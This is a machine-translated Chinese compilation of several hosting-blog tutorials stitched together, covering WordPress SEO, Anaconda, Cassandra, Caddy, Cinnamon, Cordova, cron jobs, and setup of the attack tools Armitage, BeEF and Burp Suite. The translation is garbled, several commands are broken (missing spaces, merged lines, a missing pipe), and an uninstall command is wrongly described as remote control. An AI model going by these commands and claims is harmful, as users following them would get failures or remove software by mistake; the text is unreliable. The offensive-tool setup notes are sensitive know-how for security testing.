下载完成后,登录你的 WordPress 站点,进入插件>添加新的路径,将 ZIP 文件上传到你的 WordPress 站点:
点击上传插件按钮:
现在浏览您的计算机,选择下载的所有在一个搜索引擎优化专业压缩文件。为此,点击选择文件:
上传文件后,点击立即安装:
安装 All In One SEO 使用 WordPress 插件搜索
此外,您可以使用插件搜索安装所有搜索引擎优化。要做到这一点,请再次进入插件>添加新的路径,搜索一体化搜索引擎优化插件:
接下来,点击 All In One SEO 插件旁边的 Install Now :
安装完成后,你应该点击激活插件:
最后,您需要通过点击 All In One SEO 菜单中的常规设置来激活您的许可证密钥:
您已经在购买收据上收到了许可证密钥。您应该在许可证密钥字段中输入它,然后单击连接。
如何设置和配置多合一 SEO 插件
在这一步,你将学习如何在 WordPress 的一个 SEO 插件中逐步配置。
第一步,点击让我们开始开始配置过程:
你应该选择你的网站类别,并填写主页搜索引擎优化标题和描述:
注意: 记住搜索引擎优化的元标题和描述会被搜索引擎使用,你应该使用你的主要关键字。
现在您将看到站点信息页面,您需要选择您是个人还是代表组织。然后选择注册用户:
您可以选择与您的网站相关联的社交档案 URL,如下所示,然后点击保存并继续:
需要注意的一点是,你的企业标识和社交资料是谷歌和其他搜索引擎用于知识面板的重要元素。
现在打开搜索引擎优化功能。默认情况下,会选择优化的搜索外观和站点地图功能。选择所需功能后,点击保存并继续:
接下来,您应该看到下面的搜索外观,并检查 Google Snippet 评论。您可以通过点击它来更改主页标题和元描述。页面的按钮和你自己的需求有关,有高级选项。应用更改后,点击保存并继续:
在此步骤中,系统会提示您输入许可证密钥:
最后,点击完成设置退出设置向导,所有的 SEO 都在 WordPress 网站上准备好了:
就是这样!
结论
任何 WordPress 网站都需要一个 SEO 插件。它允许您轻松地提高搜索引擎排名,并提供了广泛的搜索引擎优化工具包。在这篇文章中,我们教你如何配置所有在一个 SEO。我希望这篇文章对你有用,你喜欢它。如果您有任何建议或问题,可以在评论区联系我们。
All In One SEO plugin is necessary for any WordPress website. It allows you to easily improve search engine rankings and provides a wide search engine optimization toolkit. In this article, we taught you how to configure All In One SEO. I hope this article was useful for you and you enjoy it. If you have any suggestions or questions, you can contact us in the Comments section.
教程在 Debian 11 上配置 Anaconda(牛眼)- Eldernode 博客
原文:https://blog.eldernode.com/configure-anaconda-on-debian-11/
Anaconda 是 Python 和 R 编程语言的免费开源发行版,用于执行科学计算和处理大量数据。Anaconda 旨在使管理所使用的包变得容易。Anaconda 发行版目前有 1500 多万用户在使用,在大多数操作系统中包含大约 1500 个应用程序包。在本文中,我们将教你如何在 Debian 11(牛眼)上配置 Anaconda。如果你想买一个 Linux VPS 服务器,你可以在 Eldernode 看到可用的软件包。
如何在 Debian 11 上配置 Anaconda
蟒蛇及其特征介绍
如果在安装 Anaconda 之前已经在您的系统上安装了 Python,那么安装它将会创建一个单独的文件夹,它不会损害原始 Python,并且可以单独使用。
通过安装 Anaconda,您可以访问一个名为 conda 的软件包管理系统。这样做允许用户搜索、安装、运行和更新他们想要的包。这个系统最初是为 Python 创建的,但是现在可以用于其他编程语言,比如 Java、Ruby、C 和 Fortran。
Conda 还有一个单独的环境叫做 Conda environment,实际上是一个包含不同 Conda 包的路径。当您想要为不同的应用程序使用不同版本的库时,使用单独的 Conda 环境会很方便。显然,如果不创建单独的环境,就不可能同时安装不同版本的库。在这种情况下,您可以创建一个单独的 Conda 环境,并安装所需库的所需版本。这样,该库的不同版本就不会互相干扰,可以单独使用。
在本文中关注我们,向您展示如何在 Debian 11 (牛眼)上安装和配置 Anaconda。
如何在 Debian 11 上安装 Anaconda(牛眼)
在这一节中,我们想教你如何一步一步地在 Debian 11(牛眼)上安装 Anaconda。为此,只需遵循以下步骤。
第一步是使用以下命令存储库更新软件包:
sudo apt update && sudo apt install curl -y
然后,您必须使用以下命令转到 /tmp 目录:
cd /tmp
现在,您可以通过运行以下命令来下载 Anaconda 安装脚本:
curl --output anaconda.sh https://repo.anaconda.com/archive/Anaconda3-2021.05-Linux-x86_64.sh
要安装 Anaconda,您可以使用以下命令运行 Anaconda 安装程序脚本:
bash anaconda.sh
当您看到“请按 ENTER 键继续,您必须按“ Enter ”消息时。
在下一步中,您应该键入" yes 来接受 Anaconda 许可条款。
如下图所示,将显示三个选项。确认 Anaconda 安装指南的位置后,必须按键进入:
此时,您必须键入" yes 来初始化系统上的 Anaconda 安装程序。
通过正确执行以上所有步骤,您将看到 Anaconda 安装成功。
在 Debian 11 上配置 Anaconda
在上一节中,您已经能够在 Debian 11 上安装 Anaconda。现在,您可以使用以下命令来激活 Anaconda 环境:
source ~/.bashrc
现在,您可以使用以下命令打开 Conda 列表以确认安装:
conda list
请注意,您也可以使用以下命令来更新 Anaconda:
conda update --all
这里,您可以使用下面的命令在 Debian 11 中创建新的环境:
conda create
例如,要用 Python 创建一个名为 firstenvironment 的新环境,您应该执行以下操作:
conda create -n firstenvironment
要在 Anaconda 中安装软件包,您必须使用以下命令:
conda install -n firstenvironment packag-name
您还可以运行以下命令在您的环境中安装 Python 和 NumPy:
conda install -n firstenvironment python numpy
要激活环境并开始使用它,请运行以下命令:
conda activate firstenvironment
结论
Conda 可以快速安装、执行和更新软件包及其依赖项。它还简单地在用户的本地计算机上创建、存储和切换环境。在本文中,我们试图教您如何在 Debian 11(牛眼)上安装和配置 Anaconda。
教程在 Kali Linux 上配置和使用 Armitage
原文:https://blog.eldernode.com/configure-and-use-armitage-on-kali-linux/
Armitage 是一个与 Metasploit 紧密合作的工具。Metasploit 是渗透测试人员工具带中最酷的工具之一,是一个完整的框架,具有许多模块化代码库,用于设计定制的有效负载和攻击。您可以使用它来扫描漏洞和利用弱点。本文将教你如何在 Kali Linux 上配置和使用 Armitage。如果你想购买 Linux VPS 服务器,你可以查看 Eldernode 网站上提供的软件包。
如何在 Kali Linux 上配置和使用 Armitage
阿米蒂奇是什么?
Armitage 是 Metasploit 项目的图形化网络攻击管理工具,也是构建在 Metasploit 框架之上的可脚本化的 red team 协作工具。该工具有助于可视化目标,自动推荐合适的利用方式,并向框架展示高级的利用后功能。它是一个渗透测试框架,允许您管理渗透测试过程,并以最好的方式进行。事实上,Armitage 集成了 Metasploit 渗透测试,并为渗透测试的不同阶段提供了不同的工具需求。阿米蒂奇的用法包括以下几项:
1-用于网络服务器和个人系统的渗透测试
2-发布了 2000 多个强大的漏洞
3-超过 500 个有效载荷
4-简单易用的图形
在 Kali Linux 上配置 Armitage
在这一步,你将学习如何在 Kali Linux 上配置 Armitage。只需按照下面的步骤输入命令。
首先,使用以下命令更新您的系统包:
sudo apt update
现在您可以使用下面的命令安装 Armitage :
sudo apt install armitage
如何在 Kali Linux 上使用 Armitage
首先,您应该使用下面的命令在 Kali Linux 中启动 Metasploit :
sudo service metasploit start
现在为了打开 Armitage ,运行下面的命令:
sudo armitage
然后你会看到下面的屏幕,显示 Armitage 正在你的 Kali Linux 上运行:
如何在 Kali Linux 上卸载 Armitage
如果您想在 Kali Linux 上卸载 Armitage 包,运行下面的命令:
sudo apt-get remove armitage
您可以通过输入以下命令删除 Armitage 配置、数据及其所有依赖项:
sudo apt-get -y autoremove --purge armitage
常见问题解答
[sp _ easy agreement]
结论
Armitage 是一个带有 Metasploit 框架的可脚本化的 red team 协作工具,可以被所有团队使用。Armitage 是 Java GUI 技术的一个优秀例子。在本文中,我们教您如何在 Kali Linux 上配置和使用 Armitage。我希望这篇教程对你有用,并且你喜欢它。如果有什么问题,可以在评论里联系我们。
教程在 Debian 11 上配置 Apache Cassandra 牛眼]
原文:https://blog.eldernode.com/configure-apache-cassandra-on-debian-11/
Apache Cassandra 是一个开放源代码的分布式 NoSQL 数据库,因其可伸缩性和高可用性而受到成千上万家公司的信任,同时又不影响性能。商品硬件或云基础设施上的线性可扩展性和经验证的容错能力使其成为任务关键型数据的绝佳平台。在本文中,我们将一步步教你如何在 Debian 11 上安装和配置 Apache Cassandra。另外,如果你想购买一个 Linux VPS 主机,你可以访问 Eldernode 中的软件包。
如何安装&在 Debian Linux 上配置 Apache Cassandra
Apache Cassandra 4.0 是该项目历史上最稳定的版本,是向 12 个月发布周期转变的开始,支持 3 年的发布期。最新版本经过了严格的测试,为分布式数据库设立了新的高基准,并包括以下新功能:提高了速度和可伸缩性、改进了一致性、新的配置设置、最小化了延迟、增强了安全性和可观察性、更好的压缩。
阿帕奇卡珊德拉功能:
- 混合物
- 容错
- 关注质量
- 表演的
- 你在控制中
- 安全性和可观察性
- 分布的
- 可攀登的
- 弹性的
先决条件
- 安装最新版本的 Java 8。
- 要使用 cqlsh,请安装最新版本的 Python 2.7 或 Python 3.6+。
在 Debian 11 上安装 Apache Cassandra
A)在 Debian 上安装 Java
要运行 Apache Cassandra,你必须首先在你的 Debian linux 服务器上安装 Java。
sudo apt install openjdk-11-jdk -y
使用以下命令检查安装的 Java 版本。
java -version
B)安装 Apache Cassandra 库
sudo apt install apt-transport-https gnupg2 -y
sudo wget -q -O - https://www.apache.org/dist/cassandra/KEYS | sudo apt-key add -
sudo sh -c 'echo "deb https://downloads.apache.org/cassandra/debian 40x main" | sudo tee -a /etc/apt/sources.list.d/cassandra.sources.list'
安装 Apache Cassandra
首先,更新你的 Debian 11 Linux 服务器。
sudo apt update
然后在您的 Debian 服务器上运行以下命令。
sudo apt install cassandra -y
sudo systemctl enable cassandra
sudo systemctl status cassandra
sudo nodetool status
配置 Apache Cassandra
要使用 cqlsh 命令行工具与 Cassandra 集群进行交互,请登录。
cqlsh
完成后,退出命令。
EXIT;
结论
恭喜你,你可以在你的 Linux Debian 11 服务器上安装 Apache Cassandra 了。您也可以从官方网站上阅读文档以进行进一步检查。
如何在 Ubuntu 20.04 LTS -埃尔德诺德博客上配置牛肉
原文:https://blog.eldernode.com/configure-beef-on-ubuntu-20-04/
了解如何在 Ubuntu 20.04 LTS 上安装和 配置 BeEF。BeEF,即 B 浏览器Ex 开发 F 框架是一个强大的专注于网络浏览器的渗透测试工具。要使用该工具,请购买您自己的 Linux VPS ,并在 Eldernode 中使用比特币和即时设置来享受 VPS 托管。该实用程序的主要作用是允许专业渗透测试人员通过使用客户端攻击媒介来访问目标环境的实际安全状况。
教程在 Ubuntu 20.04 LTS 上配置牛肉
加入这篇文章,看看牛肉的配置方式。可以自定义设置。
牛肉有哪些延伸和特点:
- Web 用户界面
- 控制台用户界面
- Metasploit 集成
- XSSRays
- 模块结构
- 牛肉 JavaScript 对象
- 支持 CSRF
- 窃取会话信息
牛肉模块有哪些特点?
BeEF 程序将一个或多个 web 浏览器连接到该程序,以启动直接命令模块。每个浏览器可能在不同的安全平台上,每个上下文可能提供一组独特的攻击媒介。这个框架允许渗透测试人员选择特定的模块(实时)。以下是它的一些模块特性:
- 1-进程间通信和利用
- 2-历史收集和情报
- 3-网络侦察
- 4-主机信息收集
- 5-浏览器插件检测
- 6-坚持不懈
- 7-利用
如何在 Ubuntu 20.04 上安装和配置 BeEF
由于 BeEF 是默认安装在 Kali 发行版中的,所以它有一些设置可以在没有任何情况下为您正常工作。Beef 程序可以在 Kali Linux 和 BackTrack 上默认使用。
但是,如果出于某种特殊原因,您想要更改 BeEF 配置设置,首先要更改 Web UI 的凭证。旧的默认凭据:
credentials: username=beef passwd=beef
如果您不更改密码,BeEF 会生成一个新的随机密码,您可以在启动框架时在终端中查看。
BeEF 位于 /usr/share/beef-xss/ 目录中,它没有与 Metasploit 框架集成。看看下面几个整合牛肉的步骤。
步骤 1 :为了能够阅读以下内容,您需要编辑位于/usr/share/beef-XSS/config . YAML的主配置文件
metasploit: enable:true
步骤 2 :接下来,您需要编辑 host、 callback_host 和 OS‘custom’、path 行,以包含您的 IP 地址和 Metasploit 框架的位置。另外,编辑位于/usr/share/beef-XSS/extensions/metasploit/config . yml的文件
步骤 3 :最后是启动 sfconsole ,加载 msgrpc 模块
如何解决错误:用户名或密码无效
默认情况下,登录和密码是 beef/beef,但是一旦您遇到错误消息:无效的用户名或密码,这意味着凭据可能不起作用。所以,你可以编辑 /opt/beef/config.yaml 配置文件来修改密码。
如何更新牛肉
当您使用 Github 存储库中的 BeEF 时,您可以通过运行以下命令轻松地更新它:
cd beef
git pull
vim Gemfile
结论
在本文中,您了解了如何在 Ubuntu 20.04 LTS 上配置 BeEF。使用这个强大的工具来测试您的系统安全性和防止网络攻击。如果你有兴趣了解更多,请阅读我们关于如何在 Debian 10 上安装 Armitage 的文章。
In this article, you learned How To Configure BeEF On Ubuntu 20.04 LTS. Use this powerful tool to test your system security and prevent cyberattacks. In case you are interested to learn more, read our article on How to install Armitage on Debian 10.
如何在 kali linux - Eldernode 博客上配置 Burp 套件
原文:https://blog.eldernode.com/configure-burp-suite-on-kali-linux/
一步步学习如何在 kali linux 上 配置 Burp 套件。Burp suite 是一个用于检查 web 应用程序安全性的软件应用程序,它包括为您提供现代功能软件的工具。该软件由 Portswigger 公司提供,已经发布了两个版本,专业版和免费版。在本文中,我们将教你如何在 kali linux 上配置 Burp Suite。如果您需要购买 Linux VPS 服务器,可以访问 Eldernode 中提供的软件包。
什么是打嗝套件?
Burp Suite 让用户完全控制,并允许他们结合不同的和先进的技术,以更快,更有效和更愉快的工作。这个软件非常简单,方便和可配置,并有许多强大的功能,以帮助那些测试软件。它的专业版包括多种工具和一个自动扫描仪。同时,免费版本是完整的,包括所有的基本工具。
教程在 kali linux 上配置 Burp 套件
在我们配置 Burp Suite 之前,我们将首先向您介绍该软件的选项卡,包括以下内容:
–Target:使用该工具,您可以收集 web 应用程序的所有资源进行识别。
–Proxy:使用此工具,可以分析和编辑所有 web 应用流量。
–Spider:这个工具可以让你按照一定的算法和模式浏览互联网。
–Scanner:web 应用下的全面安全扫描器,只有专业版才有。
-入侵者:有了这个工具,所有的 web 应用请求都是自动化的。通过多次重复一个请求(模糊化),这实际上意味着向程序发送意外的请求,这个过程可以发现安全漏洞。
–Repeater:用于重新编辑和发送 web 请求的强大工具。
–Sequencer:用于检查令牌和 cookies 的工具。
–解码器:允许您加密或解密数据。
–比较器:此工具用于查找网页上的变化。
如何在 kali linux 上安装 Burp 套件
第一种方法是,您可以通过以下路径访问 Burp 套件:
应用> > Kali Linux > >十大安全工具> > burpsuite。
第二种方法是通过从 bash 终端进入 Java 解释器,您可以运行 Burp Suite:
[[email protected]](/cdn-cgi/l/email-protection):~# java -jar /usr/bin/burpsuite.jar
下载 Burp 套件后,确保代理监听器已启用。以下示例使用 TCP 8080 端口。
在本节中,您将看到所有代理侦听器的列表。您可以在没有代理侦听器的情况下添加它。要在 Kali Linux 上使用 IceWeasel web 浏览器,请配置监听器监听 127.0.0.1 上的专用端口。还要确保运行框处于活动状态。
现在,您需要更改浏览器配置,通过代理路由流量。为此,点击页面顶部的鼬球图标,打开 IceWeasel 。然后按照下面的路径打开下面的页面:
编辑>>首选项
在首选项菜单中,点击高级选项,然后选择网络选项卡。
然后,点击设置。这将带您进入连接设置配置页面:
将代理单选按钮更改为手动配置。在本例中,HTTP 代理地址设置为 127.0.0.1,端口值设置为 TCP 8080。通过 IceWeasel 浏览器搜索网站,确保配置正确。
您会注意到浏览器试图连接,但是浏览器中什么也没有提供,因为从浏览器发送的请求被代理拦截了。要使用浏览器,您可以将代理设置更改为使用系统代理设置选项,并且仅在使用 Burp 时使用手动代理设置。
介绍 Burp 套件插件
1- AdminPanelFinder 插件
这个插件用于搜索网站的管理页面。使用这个插件,你可以很容易地在 burpsuite 中找到网站管理面板。在这个插件的特性中,你可以测试超过 1000 个页面和它的高速度。
2- 备份查找器插件
这个插件用于搜索服务器内部的备份文件,在 burpsuite 中作为插件使用。它还能够读取目录并使用默认名称搜索备份。
这个插件非常好,非常有用,在测试渗透率的时候可以使用谷歌翻译外文文本。由于使用了谷歌服务,你可以翻译所有常见的语言。
4- AES 黑仔插件
这个插件用于在流量通过网络时破解 AES 加密,对于测试加密数据的渗透非常有用。它还能够连接到代理并进行扫描。
使用 burpsuite 搜索 WordPress 插件,burp suite 能够搜索超过 35,000 个 WordPress 插件。
结论
Burp 套件是黑客中非常流行的工具,用于测试网络入侵,尤其是 web 应用程序。默认情况下,这个工具在各种安全操作系统上可用,比如 Kali Linux。在本文中,我们试图在介绍了 Burp Suite 之后,教你如何在 kali linux 上配置 Burp Suite。
Burp Suite is a very popular tool among hackers that is used to test network intrusion, especially web applications. This tool is available by default on a variety of security operating systems such as Kali Linux. In this article, we tried to teach you How to configure Burp Suite on kali linux after introducing Burp Suite.
如何配置 Caddy 以实现有效的负载平衡
原文:https://blog.eldernode.com/configure-caddy-for-effective-load-balancing/
在某些情况下,您会遇到这样的情况:您必须在尽可能短的时间内建立并运行一个静态网站。Caddy 是一款注重简单性和安全性的现代 web 服务器,可以在整个过程中为您提供帮助。本文将教你如何配置 Caddy 来实现有效的负载平衡。我们提供经济实惠的 Linux VPS 服务器,这是想购买的人的最佳选择。
教程为负载均衡配置 Caddy
球童介绍
Caddy 是一个开源的、跨平台的、可扩展的 web 服务器,默认情况下自动使用 HTTPS。它是用 Go 编写的,没有依赖性,因此可以在容器中完美运行。该 web 服务器负责 TLS 证书更新、OCSP 装订、静态文件服务、反向代理、Kubernetes 入口等,并简化您的基础架构。它的模块化架构允许您使用一个可在任何平台上编译的静态二进制文件完成更多工作。
安装 Caddy 进行有效负载均衡
首先,导航到官方 GitHub 网站并下载 Caddy:
或者,您可以使用以下命令之一下载 Caddy:
curl -OL "https://github.com/caddyserver/caddy/releases/latest/download/Filename"
wget "https://github.com/caddyserver/caddy/releases/latest/download/Filename"
注意: 为你的平台替换文件名而不是“文件名”。
您可以使用下面的命令在 Ubuntu、Debian 和 Raspbian 上安装 Caddy:
echo "deb [trusted=yes] https://apt.fury.io/caddy/ /" \
sudo tee -a /etc/apt/sources.list.d/caddy-fury.list
在 Docker Compose 中配置 Caddy 负载平衡器
首先,您应该使用服务器容器,它将打印出当前容器的主机名以及请求细节。
Caddy 的死简单配置文件的设置如下:
:80 { encode zstd gzip reverse_proxy www01:8080 www02:8080 { health_uri / health_interval 5s health_timeout 3s health_status 200 } }
这两个工作负载在端口 8080 上运行,Caddy 负载平衡器在端口 80 上向您的本地机器公开。现在将这些容器隔离在一个名为 instance 的网络中:
version: "3.9" services: caddy-lb: networks: - instance image: caddy:2-alpine volumes: - ./caddy/data:/data - ./caddy/config/Caddyfile:/etc/caddy/Caddyfile depends_on: - www01 - www02 ports: - "80:80" www01: image: jmalloc/echo-server hostname: www01 networks: - instance ports: - "8080" www02: image: jmalloc/echo-server hostname: www02 networks: - instance ports: - "8080" networks: instance:
您可以运行该实例,如下所示:
docker-compose up --build --remove-orphans
现在,在您想要的浏览器中单击 localhost。
然后刷新几次。请求在上游目地之间切换,不同的容器为其服务。在此阶段,借助以下命令终止其中一个容器:
docker kill ID
注意: 记得用浏览器中的一个 ID 替换 ID。
如果您再刷新几次,您将看到 Caddy 不再为来自该容器的流量提供服务。
就是这样!
结论
Caddy web server 负责 TLS 证书更新、OCSP 装订、静态文件服务、反向代理、Kubernetes 入口等,并简化您的基础架构。在本文中,我们向您介绍了如何配置 Caddy 来实现有效的负载平衡。我希望本教程对您有用,并帮助您配置 Caddy 以实现有效的负载平衡。如果你遇到任何问题或者有任何疑问,可以在评论区联系我们。
教程在 Ubuntu 20.04 上配置 Cinnamon 桌面- Eldernode 博客
原文:https://blog.eldernode.com/configure-cinnamon-desktop-on-ubuntu/
Cinnamon 桌面环境实际上是几个不同项目的集合,如 Cinnamon,GNOME 的一部分,Cinnamon 屏保项目,Cinnamon 桌面,Cinnamon 菜单,Cinnamon 设置,以及其他一些例子。在本文中,我们将一步一步地教你如何在 Ubuntu 20.04 上配置 Cinnamon Desktop。如果你想购买一台 Ubuntu VPS 服务器,你可以访问 Eldernode 中提供的软件包。
如何在 Ubuntu 20.04 上安装配置 Cinnamon Desktop
肉桂桌面简介
Cinnamon 桌面环境实际上是 Gnome 项目的一部分,默认安装在 Linux Mint 上。这种环境具有以下特点:
–MDM 显示管理器
–Nemo 文件管理器
-松饼橱窗经理
–Cinnamon 会议经理
–肉桂翻译
–蓝牙配置的蓝莓工具
在下图中,您可以看到 Cinnamon 桌面环境的主页:
在本文的剩余部分,加入我们向您展示如何在 Ubuntu 20.04 上安装和配置 Cinnamon 桌面环境。
如何在 Ubuntu 20.04 上安装肉桂桌面| Ubuntu 21.04
在这一节,我们将教你如何在 Ubuntu 20.04 上安装 Cinnamon 桌面环境。为此,只需按顺序执行以下步骤。
安装之前要知道的一件事是,用于 Ubuntu 20.04 的 Cinnamon 桌面环境包可以在操作系统库中获得。因此,您必须使用以下命令更新缓存,然后启动安装:
sudo apt update
sudo apt install cinnamon-desktop-environment
注意: 根据您的互联网连接速度,您可能需要耐心等待,直到所有软件包安装完毕。
当被问到“是否要继续?”,你要输入“ y ,回车。
最后,在完成 Cinnamon Desktop 安装后,您必须运行以下命令来重新启动系统一次:
reboot
如何在 Ubuntu 20.04 上运行肉桂桌面
在上一节成功安装 Cinnamon Desktop 后,我们现在要向您展示如何运行它。安装 Cinnamon Desktop(这是一个传统的 Linux 桌面环境)后,关闭命令终端并注销。
现在你必须点击如下所示的用户名,在输入密码之前,点击右下角的齿轮图标。
在出现的弹出窗口中,选择肉桂,然后输入您的密码。
启动 Cinnamon 后,您可以使用以下命令来远程控制 Ubuntu 20.04 上的 Cinnamon 桌面:
sudo apt purge cinnamon-desktop-environment
在 Ubuntu 20.04 上配置肉桂桌面
本节包括 Cinnamon Desktop 的设置和配置。
1。效果
将不同桌面元素的效果打开或关闭。您还可以通过更改效果的样式来更改窗口过渡。要改变效果的速度,可以通过自定义选项卡来实现。
2。字体选择
您可以根据大小和类型区分整个系统中使用的字体,并很好地调整外观。
3。主题和图标
使用本节中的设置,您可以将屏幕主题更改为暗色或亮色,并更改窗口边距以适应您的更改。
4。肉桂苹果
您可以在管理选项卡中添加或删除已安装的小程序:
5。肉桂桌
像其他自定义选项一样,可以从“设置”菜单访问桌面。
6。桌面壁纸
在桌面上点击右键,选择改变桌面背景。在打开的窗口中,现有后台系统的文件夹列在左侧,在游乐设备部分,有每个文件夹内图像的预览。
通过点击( + )移动文件夹来添加文件夹。在设置选项卡中,您还可以选择背景是静态还是幻灯片,以及背景在屏幕上的放置方式。
7。定制桌面屏幕上的内容
在桌面上点击右键,点击“自定义”。你会发现你可以找到更多的选择。
您可以调整图标的大小,将位置从垂直更改为水平,并更改它们在两个轴上的距离。如果你不喜欢你正在做的事情,点击重置网格间距回到默认状态。
如果点击桌面设置,会显示更多选项。您可以禁用桌面上的图标,将它们放在主显示器或辅助显示器上,或者两者都放。
结论
Cinnamon 提供了传统的桌面体验,许多用户喜欢它的本来面目。Cinnamon 提供了几种定制桌面的方法。在这篇文章中,我们在介绍了 Cinnamon 之后,试图教你如何在 Ubuntu 20.04 上安装和运行 Cinnamon。我们还向您展示了如何配置 cinnamon。
如何在 Ubuntu 20.10 - Eldernode 博客上配置 Cordova
原文:https://blog.eldernode.com/configure-cordova-on-ubuntu-20-10/
了解如何在 Ubuntu 20.10 上一步步配置 Cordova。Apache Cordova 是第一个使用 HTML、CSS 和 JavaScript 构建移动应用程序的开源平台。该平台包括一组预建的插件,以提供对相机、GPS、文件系统和设备的其他组件的访问。Cordova 可以被认为是一个应用程序容器,其 web 视图覆盖了设备的整个屏幕。2011 年,Adobe 收购了 Nitobi,并将其开源内核捐赠给了 Apache Software Foundation,将其命名为 Apache Cordova。
在本文中,我们将在完整介绍 Apache Cordova 之后,教你如何在 Ubuntu 20.10 上配置 Cordova。您还可以在 Eldernode 中看到可用的包,因为安装和配置 Cordova 需要购买 Ubuntu VPS 服务器。
什么是阿帕奇科尔多瓦?
Apache Cordova 提供了一组 API,用于访问设备的本机功能,如摄像头、SIM 卡和联系人列表。Cordova 可以被认为是一个应用程序容器,其 web 视图覆盖了设备的整个屏幕。Cordova 使用这个 web 视图的方式与本地操作系统相同。
在 Ubuntu 20.10 上配置 Cordova
Apache Cordova 包括一组预构建的插件,允许访问摄像头、GPS、文件系统和其他本地系统组件。Cordova 可用于开发以下平台的应用程序:
–Ubuntu
–窗口
–安卓
–iOS
–火狐操作系统
–黑莓
–ti Zen
–网络操作系统
–Symbian
阿帕奇科尔多瓦有哪些功能?
Apache Cordova 的基本功能如下:
1。科尔多瓦的基本组件
Cordova 提供多种基本组件,每种组件都是为满足移动应用的特定需求而设计的。这些组件为应用程序专注于实现自己的逻辑提供了基础。
2。命令行连接
这个工具负责为各种平台构建流程和安装插件。它还用于启动项目并使开发过程更容易。
3。科尔多瓦插件
本节提供了一个用于在 JavaScript 应用程序中实现本地移动功能的 API。这些插件在应用程序中提供对设备功能的访问,如照相机、电池、联系人等。
阿帕奇科尔多瓦的优势
使用 Apache Cordova 平台开发跨平台应用程序的优势如下:
–一个开源平台。
–简单易学,用于开发跨平台应用。
–提供了为不同平台构建应用程序的灵活性,无需学习新的编程语言。
–科尔多瓦的应用开发速度很快。因为这个平台将应用程序转移到其他支持的平台。
–在这个平台上搭建原型非常快。
–包括一组预建的插件,用于访问手机的摄像头、GPS 和文件系统。
有许多免费插件提供了几个库和框架。
阿帕奇科尔多瓦的缺点
尽管列出了 Apache Cordova 的优点,但该平台也有一些缺点,如下所示:
–不是大型应用的最佳选择。因为混合应用程序比原生应用程序慢。
–由于 Web 视图中的代码执行,应用程序性能降低。
–不适合游戏开发。因为它需要目前没有的高级插件。
教程在 Ubuntu 20.10 上安装 Cordova
认为一个人可以掌握 HTML、CSS 和 Js 的移动应用程序可能有些牵强。因为乍一看这些技能好像是设计网页用的。但真的不是!在 Apache Cordova 的帮助下,您将能够利用网页设计知识构建移动应用程序。在这一节,我们将教你如何在 Ubuntu 上安装和配置 Apache Cordova。
很高兴知道 Cordova 提供了一组用于创建、运行和生产移动软件的命令。这些命令在终端中使用,需要 NodeJs 运行。所以你首先需要在你的系统上安装 NodeJs 。为此,请在终端中输入以下命令:
sudo apt-get update sudo apt-get install nodejs
要确保 NodeJs 安装正确,请在终端中输入以下命令来查看 NodeJs 的安装版本:
nodejs -v
下一步是安装 NPM。NPM 代表节点包管理器。接下来,您将需要 npm 来安装 Cordova,甚至是您可能正在使用的插件。要安装 npm,只需在终端中输入以下命令:
sudo apt install npm
为了确保正确安装 npm,您还可以使用以下命令,该命令显示系统上安装的 npm 版本:
npm -v
要安装 Cordova,只需在终端中输入以下命令:
sudo npm install -g cordova
如何在 Ubuntu 20.10 上配置 Cordova
执行上述命令后,Cordova 就安装在您的系统上了。现在,您可以在以下命令的帮助下创建您的第一个程序:
cordova create MyApp
通过运行上面的命令,Cordova 创建了一个名为 MyApp 的文件夹,其中包含项目所需的文件。
如果您转到 MyApp 文件夹,您将看到以下文件和文件夹:
1。钩子文件夹:用来定制 Cordova 命令。一些插件可能会在这个文件夹中放一个脚本,并向 Cordova 添加命令。
2。平台文件夹: 你可以为浏览器、Android、iOS,甚至 Windows 创建自己的应用。每个平台的输出都位于该文件夹中的一个单独的文件夹中。
3。插件文件夹: 你添加到项目中的插件都放在这个文件夹中。
4。文件夹 www:组成你的应用程序,用 HTML、CSS、JS 编写的网页。请注意,默认情况下,index.html 页面将是您的应用程序的第一页。
5。config.xml 和 package.json 文件: 这些是程序配置文件。您添加到项目中的任何插件或库都将在这些文件中列出。更准确地说,config.xml 是您的程序设置,包括程序起始页、权限和程序规范。npm 使用 package.json 来管理库。
要向应用程序添加平台,只需在项目的终端文件夹中输入以下命令:
cordova platform add browser
执行上述命令将在 platforms 文件夹中创建一个名为 browser 的文件夹,这将是您的浏览器版本的输出。和上面的命令一样,你也可以为 Android 和 iOS 定义输出:
cordova platform add android
cordova platform add ios
请注意,您无法在 Windows 或 Linux 环境中获得 iOS 输出。对于这个平台,您必须在 Mac OS 上构建项目。
要运行您的程序,只需在终端中输入以下命令:
cordova run browser
要退出 Android 或 iOS 应用程序,如果您已经将它们的平台添加到项目中,您可以使用以下命令获得项目输出:
cordova build android
结论
Apache Cordova 是最早的混合应用程序开发框架之一。这个框架已经被用来开发这样的应用程序很多年了。随着其他框架的出现,该框架现在有些边缘化,但它仍然在跨平台编程领域占有一席之地。在这篇文章中,我们试图提供一个完整的描述 Cordova 及其优点和缺点。然后我们教你如何在 Ubuntu 20.10 上安装和配置 Cordova。
在 directadmin -教程 directadmin | Eldernode 中配置 cron 作业
原文:https://blog.eldernode.com/configure-cron-job-in-the-directadmin/
在 directadmin 中配置 cron 作业,
大多数系统使用 Cronjobs 来执行定期请求,如备份、系统设置和规范、持续更新和 MSs 更新。使用 SSH 命令在服务器级配置 Cronjobs 很容易,这使得图形化请求用户级控制面板变得更加容易。
在本教程中,我们将回顾在 admin 目录中设置和执行 Cron。
如何在 directadmin 中配置 cron 作业
有几种方法可以正确执行 cron,如下所示。
登录 directadmin 后,选择 Cronjobs 选项,如下图所示:
在“命令”部分的新页面上,您应该执行以下操作之一:
PHP-q/home/user/public _ html/cron . PHP
/usr/local/bin/PHP/home/domain . com/public _ html/cron jobs . PHP
/usr/bin/wget-O/dev/null http://domain.com/Folder/CronJobs.php
/usr/bin/wget-qo/dev/null http://domain.com/Folder/CronJobs.php
注意:
由于缺乏访问权限,一些 php 路径比/ usr / bin / wget 更好…
使用它运行没有 cron 问题。
在 command 部分添加适当的命令并输入所需的时间后,单击 Add 按钮。
同样,如果您没有大量可执行的亲信,您可以在电子邮件中,输入您的电子邮件以接收已执行请求的报告输出。
请注意,此部分有时会影响您的电子邮件数量和发送电子邮件的限制,并且是发送到您网站的电子邮件的优先选项。
在下面图片的底部是一个示例边界,定义为在每晚 11 点运行下图中的测试运行,如果需要,您可以进行测试。
如果您需要服务器,可以从以下链接订购:
如何在 IIS Server 2019 - ElderNode 博客中配置默认站点
原文:https://blog.eldernode.com/configure-default-site-in-iis-server/
